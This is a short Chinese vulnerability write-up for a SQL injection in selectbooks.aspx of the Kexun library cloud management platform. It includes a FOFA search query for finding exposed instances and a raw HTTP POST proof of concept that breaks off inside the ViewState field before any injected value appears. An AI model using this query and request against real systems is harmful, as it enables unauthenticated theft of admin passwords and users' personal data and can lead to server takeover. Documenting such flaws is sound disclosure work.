漏洞描述
科讯图书馆综合管理云平台selectbooks.aspx存在SQL注入,未经身份验证的远程攻击者除了可以利用SQL注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。
复现环境
FOFA
title==" 欢迎使用 图书馆云平台"
资产详情
漏洞复现
POC
POST /selectbooks.aspx HTTP/1.1
Host: 127.0.0.1
Content-Length: 6069
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://127.0.0.1/selectbooks.aspx
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
__EVENTTARGET=&__EVENTARGUMENT=&__LASTFOCUS=&__VIEWSTATE=%2FwEPDwULLTE2MzU3Njc5ODMPZBYCAgMPZBYKZg8QDxYGHg1EYXRhVGV4dEZpZWxkBQRuYW1lHg5EYXRhVmFsdWVGaWVsZAUCaWQeC18hRGF0YUJvdW5kZ2QQFQwe5bm%2F5b635biC5a6e6aqM5bCP5a2m6KW%2F5qCh5Yy6HuW5v%2BW%2Bt%2BW4guWunumqjOWwj%2BWtpuWMl%2BagoeWMuhvlub%2FlvrfluILnp5HliJvlrp7pqozlrabmoKEe5bm%2F5b635biC5ruo5rKz5a2m5qCh5Lit5a2m6YOoHuW5v%2BW%2Bt%2BW4gua7qOays%2BWtpuagoeWwj%2BWtpumDqB7lub%2FlvrfluILlrp7pqozlsI%2FlrabljZfmoKHljLoq5bm%2F5b635biC5qGD5bee5Lit5a2m5pWZ6IKy6ZuG5Zui5Y2X5qCh5Yy6FeW5v%2BW%2Bt%2BW4guS4nOS6reS4reWtph7l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